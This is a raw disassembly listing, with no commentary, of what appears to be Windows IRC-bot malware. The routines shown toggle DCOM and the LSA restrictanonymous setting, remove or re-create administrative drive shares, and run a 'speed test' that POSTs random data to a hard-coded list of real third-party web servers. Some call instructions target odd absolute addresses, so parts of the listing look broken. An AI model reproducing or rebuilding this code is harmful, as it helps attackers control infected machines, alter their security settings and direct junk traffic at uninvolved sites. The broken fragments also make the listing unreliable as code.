		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A3F2
		mov	ax, word_438AC0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A3D4
		push	offset dword_439FE8
		jmp	short loc_41A3D9
; ---------------------------------------------------------------------------


loc_41A3D4:				; CODE XREF: sub_41A367+64j
		push	offset dword_439FC8


loc_41A3D9:				; CODE XREF: sub_41A367+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A405
; ---------------------------------------------------------------------------


loc_41A3F2:				; CODE XREF: sub_41A367+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439F98
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A405:				; CODE XREF: sub_41A367+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A424
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A424:				; CODE XREF: sub_41A367+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A492
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A474
		push	offset dword_439F48
		jmp	short loc_41A479
; ---------------------------------------------------------------------------


loc_41A474:				; CODE XREF: sub_41A367+104j
		push	offset dword_439F14


loc_41A479:				; CODE XREF: sub_41A367+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A4AC
; ---------------------------------------------------------------------------


loc_41A492:				; CODE XREF: sub_41A367+E2j
		push	offset dword_439ED8
		jmp	short loc_41A49E
; ---------------------------------------------------------------------------


loc_41A499:				; CODE XREF: sub_41A367+13j
		push	offset dword_439EA8


loc_41A49E:				; CODE XREF: sub_41A367+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A4AC:				; CODE XREF: sub_41A367+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A4CB
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A4CB:				; CODE XREF: sub_41A367+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		cmp	dword_4C93FC, edi
		pop	ecx
		jnz	loc_41A646
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A4EE:				; CODE XREF: sub_41A367+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4C9248
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A58B
		cmp	eax, 0EAh
		jz	short loc_41A58B
		mov	esi, offset off_439D70


loc_41A51F:				; CODE XREF: sub_41A367+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419175
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A536
		push	offset dword_439E84
		jmp	short loc_41A53B
; ---------------------------------------------------------------------------


loc_41A536:				; CODE XREF: sub_41A367+1C6j
		push	offset dword_439E58


loc_41A53B:				; CODE XREF: sub_41A367+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A56E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A56E:				; CODE XREF: sub_41A367+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439D90
		jl	short loc_41A51F
		jmp	loc_41A623
; ---------------------------------------------------------------------------


loc_41A58B:				; CODE XREF: sub_41A367+1AAj
					; sub_41A367+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A61A


loc_41A59A:				; CODE XREF: sub_41A367+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41DFB7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A60F
		push	edi
		call	sub_419062
		push	eax
		push	0
		call	sub_419175
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A5C9
		push	offset dword_439E34
		jmp	short loc_41A5CE
; ---------------------------------------------------------------------------


loc_41A5C9:				; CODE XREF: sub_41A367+259j
		push	offset dword_439E08


loc_41A5CE:				; CODE XREF: sub_41A367+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A602
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A602:				; CODE XREF: sub_41A367+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_41A60F:				; CODE XREF: sub_41A367+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A59A
		xor	edi, edi


loc_41A61A:				; CODE XREF: sub_41A367+22Dj
		push	[ebp+var_8]
		call	dword_4C9394


loc_41A623:				; CODE XREF: sub_41A367+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A4EE
		lea	eax, [ebp+var_214]
		push	offset dword_439DE0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A659
; ---------------------------------------------------------------------------


loc_41A646:				; CODE XREF: sub_41A367+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439DB0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A659:				; CODE XREF: sub_41A367+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A677
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A677:				; CODE XREF: sub_41A367+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A68B	proc near		; CODE XREF: sub_41A307:loc_41A34Ep

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4C93D4, ebx
		push	esi
		jnz	loc_41A7B9
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A716
		mov	ax, word_438B04
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A6F8
		push	offset dword_43A160
		jmp	short loc_41A6FD
; ---------------------------------------------------------------------------


loc_41A6F8:				; CODE XREF: sub_41A68B+64j
		push	offset dword_43A144


loc_41A6FD:				; CODE XREF: sub_41A68B+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A729
; ---------------------------------------------------------------------------


loc_41A716:				; CODE XREF: sub_41A68B+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439F98
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A729:				; CODE XREF: sub_41A68B+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A748
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A748:				; CODE XREF: sub_41A68B+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4C9374
		test	eax, eax
		jnz	short loc_41A7B2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4C9328
		test	eax, eax
		jz	short loc_41A794
		push	offset dword_43A104
		jmp	short loc_41A799
; ---------------------------------------------------------------------------


loc_41A794:				; CODE XREF: sub_41A68B+100j
		push	offset dword_43A0CC


loc_41A799:				; CODE XREF: sub_41A68B+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C92E0
		jmp	short loc_41A7CC
; ---------------------------------------------------------------------------


loc_41A7B2:				; CODE XREF: sub_41A68B+E2j
		push	offset dword_43A090
		jmp	short loc_41A7BE
; ---------------------------------------------------------------------------


loc_41A7B9:				; CODE XREF: sub_41A68B+13j
		push	offset dword_439EA8


loc_41A7BE:				; CODE XREF: sub_41A68B+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A7CC:				; CODE XREF: sub_41A68B+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7EB
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A7EB:				; CODE XREF: sub_41A68B+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		cmp	dword_4C93FC, ebx
		pop	ecx
		jnz	loc_41A95D
		push	edi
		mov	esi, offset off_439D70
		mov	edi, 200h


loc_41A80F:				; CODE XREF: sub_41A68B+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4190C9
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A82A
		push	offset dword_43A070
		jmp	short loc_41A82F
; ---------------------------------------------------------------------------


loc_41A82A:				; CODE XREF: sub_41A68B+196j
		push	offset dword_43A048


loc_41A82F:				; CODE XREF: sub_41A68B+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A85E
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A85E:				; CODE XREF: sub_41A68B+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439D80
		jl	short loc_41A80F
		nop
		call	near ptr 2840BE6h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A945


loc_41A889:				; CODE XREF: sub_41A68B+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A93A
		cmp	bl, 41h
		jz	loc_41A93A
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C100
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41C100
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4C9364
		cmp	eax, 3
		jnz	short loc_41A93A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4190C9
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A8F8
		push	offset dword_43A070
		jmp	short loc_41A8FD
; ---------------------------------------------------------------------------


loc_41A8F8:				; CODE XREF: sub_41A68B+264j
		push	offset dword_43A048


loc_41A8FD:				; CODE XREF: sub_41A68B+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A92D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A92D:				; CODE XREF: sub_41A68B+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_41A93A:				; CODE XREF: sub_41A68B+206j
					; sub_41A68B+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A889


loc_41A945:				; CODE XREF: sub_41A68B+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A018
		push	eax
		call	sub_41C006
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A970
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A68B+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439DB0
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_41A970:				; CODE XREF: sub_41A68B+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A98E
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_41A98E:				; CODE XREF: sub_41A68B+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A68B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9A2	proc near		; CODE XREF: sub_41AB97+CBp
					; sub_41AB97+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A9A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9BC	proc near		; CODE XREF: sub_41AB97+D4p
					; sub_41AB97+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B960
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AB93
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BD10
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8E4
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AB93
		push	50h
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AB93
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AB93
		push	32003h
		call	sub_41D735
		mov	edi, dword_4270B8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C058
		call	sub_41C062
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BD10
		push	32000h
		push	esi
		push	ebx
		call	sub_41BD10
		push	ebx
		call	sub_41B960
		push	323EAh
		mov	ebx, eax
		call	sub_41D735
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C006
		push	[ebp+var_8]
		push	esi
		call	sub_41C630
		push	offset asc_4341E4 ; "\r\n"
		push	esi
		call	sub_41C630
		add	esp, 40h
		push	esi
		call	sub_41B960
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB13
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AAE3
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: sub_41A9BC+155j
		mov	eax, [ebp+arg_0]


loc_41AAE3:				; CODE XREF: sub_41A9BC+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AAF3
		push	[ebp+var_C]
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AAF3:				; CODE XREF: sub_41A9BC+130j
		push	ebx


loc_41AAF4:				; CODE XREF: sub_41A9BC+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB7A
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AAE0


loc_41AB13:				; CODE XREF: sub_41A9BC+118j
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41AB3B
		fld1
		fstp	[ebp+arg_0]


loc_41AB3B:				; CODE XREF: sub_41A9BC+178j
		push	[ebp+var_4]
		call	dword_4C939C
		push	[ebp+var_8]
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41CF04


loc_41AB75:				; CODE XREF: sub_41A9BC+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AB7A:				; CODE XREF: sub_41A9BC+147j
		push	[ebp+var_4]
		call	dword_4C939C
		push	[ebp+var_8]
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		pop	ecx
		pop	ecx


loc_41AB93:				; CODE XREF: sub_41A9BC+19j
					; sub_41A9BC+42j ...
		xor	eax, eax
		jmp	short loc_41AB75
sub_41A9BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB97	proc near		; CODE XREF: sub_401AC7+2E2Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A9A2
		push	[ebp+eax*4+var_3C]
		call	sub_41A9BC
		push	8
		mov	esi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_3C]
		call	sub_41A9BC
		add	esp, 10h
		test	esi, esi
		jz	short loc_41AC98
		test	eax, eax
		jz	short loc_41AC94
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41AC9A
; ---------------------------------------------------------------------------


loc_41AC94:				; CODE XREF: sub_41AB97+F4j
		mov	ebx, esi
		jmp	short loc_41AC9A
; ---------------------------------------------------------------------------


loc_41AC98:				; CODE XREF: sub_41AB97+F0j
		mov	ebx, eax


loc_41AC9A:				; CODE XREF: sub_41AB97+FBj
					; sub_41AB97+FFj
		push	0Ch
		call	sub_41A9A2
		push	[ebp+eax*4+var_6C]
		call	sub_41A9BC
		push	0Ch
		mov	edi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_6C]
		call	sub_41A9BC
		add	esp, 10h
		test	edi, edi
		jz	short loc_41ACD2
		test	eax, eax
		jz	short loc_41ACCE
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41ACD4
; ---------------------------------------------------------------------------


loc_41ACCE:				; CODE XREF: sub_41AB97+12Ej
		mov	esi, edi
		jmp	short loc_41ACD4
; ---------------------------------------------------------------------------


loc_41ACD2:				; CODE XREF: sub_41AB97+12Aj
		mov	esi, eax


loc_41ACD4:				; CODE XREF: sub_41AB97+135j
					; sub_41AB97+139j
		push	6
		call	sub_41A9A2
		push	[ebp+eax*4+var_1C]
		call	sub_41A9BC
		push	6
		mov	edi, eax
		call	sub_41A9A2
		push	[ebp+eax*4+var_1C]
		call	sub_41A9BC
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD0C
		test	eax, eax
		jz	short loc_41AD08
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD0E
; ---------------------------------------------------------------------------


loc_41AD08:				; CODE XREF: sub_41AB97+168j
		mov	ecx, edi
		jmp	short loc_41AD0E
; ---------------------------------------------------------------------------


loc_41AD0C:				; CODE XREF: sub_41AB97+164j
		mov	ecx, eax


loc_41AD0E:				; CODE XREF: sub_41AB97+16Fj
					; sub_41AB97+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD1B
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD1E
; ---------------------------------------------------------------------------


loc_41AD1B:				; CODE XREF: sub_41AB97+17Bj
		push	2
		pop	edi


loc_41AD1E:				; CODE XREF: sub_41AB97+182j
		test	esi, esi
		jz	short loc_41AD26
		add	eax, esi
		jmp	short loc_41AD27
; ---------------------------------------------------------------------------


loc_41AD26:				; CODE XREF: sub_41AB97+189j
		dec	edi


loc_41AD27:				; CODE XREF: sub_41AB97+18Dj
		test	ecx, ecx
		jz	short loc_41AD2F
		add	eax, ecx
		jmp	short loc_41AD30
; ---------------------------------------------------------------------------


loc_41AD2F:				; CODE XREF: sub_41AB97+192j
		dec	edi


loc_41AD30:				; CODE XREF: sub_41AB97+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A1B8
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415CEE
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AB97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD74	proc near		; CODE XREF: sub_401AC7+2565p
					; sub_401AC7+29B3p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2690861h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4D95D0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C100
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AD74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADDD	proc near		; CODE XREF: sub_417269+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26D05ADh
		nop
		test	eax, eax
		jz	short loc_41AE70
		cmp	[ebp+var_90], 4
		jnz	short loc_41AE46
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE2E
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE21
		push	1
		pop	esi


loc_41AE21:				; CODE XREF: sub_41ADDD+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AE70
		push	1
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE2E:				; CODE XREF: sub_41ADDD+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE3B


loc_41AE37:				; CODE XREF: sub_41ADDD+78j
		push	2
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE3B:				; CODE XREF: sub_41ADDD+58j
		cmp	[ebp+var_8C], 5Ah
